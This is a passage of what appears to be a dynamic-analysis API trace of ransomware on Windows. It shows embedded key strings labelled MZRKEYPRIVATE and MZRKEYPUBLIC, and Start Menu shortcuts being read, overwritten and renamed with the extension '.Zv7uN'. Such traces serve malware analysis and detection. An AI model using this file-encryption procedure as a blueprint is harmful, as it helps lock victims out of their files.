lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0131.464] GetCurrentThreadId () returned 0xa30 [0131.464] GetCurrentThreadId () returned 0xa30 [0131.465] GetCurrentThreadId () returned 0xa30 [0131.465] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0131.465] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f1f62c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0131.465] GetCurrentThreadId () returned 0xa30 [0131.465] GetCurrentThreadId () returned 0xa30 [0131.465] GetCurrentThreadId () returned 0xa30 [0131.466] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Windows Fax and Scan.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\windows fax and scan.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ec [0131.466] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f694*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f694*=0) returned 0x0 [0131.467] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x0 [0131.467] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x4ba [0131.467] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x0 [0131.467] ReadFile (in: hFile=0x1ec, lpBuffer=0x1f27430, nNumberOfBytesToRead=0x4ba, lpNumberOfBytesRead=0x18f6a0, lpOverlapped=0x0 | out: lpBuffer=0x1f27430*, lpNumberOfBytesRead=0x18f6a0*=0x4ba, lpOverlapped=0x0) returned 1 [0131.469] CloseHandle (hObject=0x1ec) returned 1 [0131.470] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Windows Fax and Scan.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\windows fax and scan.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ec [0131.472] WriteFile (in: hFile=0x1ec, lpBuffer=0x1f29460*, nNumberOfBytesToWrite=0x4ba, lpNumberOfBytesWritten=0x18f6ac, lpOverlapped=0x0 | out: lpBuffer=0x1f29460*, lpNumberOfBytesWritten=0x18f6ac*=0x4ba, lpOverlapped=0x0) returned 1 [0131.474] CloseHandle (hObject=0x1ec) returned 1 [0131.474] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Windows Fax and Scan.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\windows fax and scan.lnk"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Windows Fax and Scan.lnk.Zv7uN" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\windows fax and scan.lnk.zv7un")) returned 1 [0131.475] GetCurrentThreadId () returned 0xa30 [0131.475] GetCurrentThreadId () returned 0xa30 [0131.475] GetCurrentThreadId () returned 0xa30 [0131.475] GetCurrentThreadId () returned 0xa30 [0131.476] GetCurrentThreadId () returned 0xa30 [0131.476] GetCurrentThreadId () returned 0xa30 [0131.476] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8945dbdb, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x8945dbdb, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0xd869fe87, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x60b, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Windows Media Player.lnk", cAlternateFileName="WINDOW~2.LNK")) returned 1 [0131.476] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0131.476] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0131.476] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Windows Media Player.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\windows media player.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f6e0 | out: lpFileInformation=0x18f6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8945dbdb, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x8945dbdb, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0xd869fe87, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x60b)) returned 1 [0131.477] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Windows Media Player.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\windows media player.lnk")) returned 0x20 [0131.477] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Windows Media Player.lnk", dwFileAttributes=0x80) returned 1 [0131.479] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0131.479] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1f0e5cc, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0131.480] GetCurrentThreadId () returned 0xa30 [0131.480] GetCurrentThreadId () returned 0xa30 [0131.480] GetCurrentThreadId () returned 0xa30 [0131.480] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, 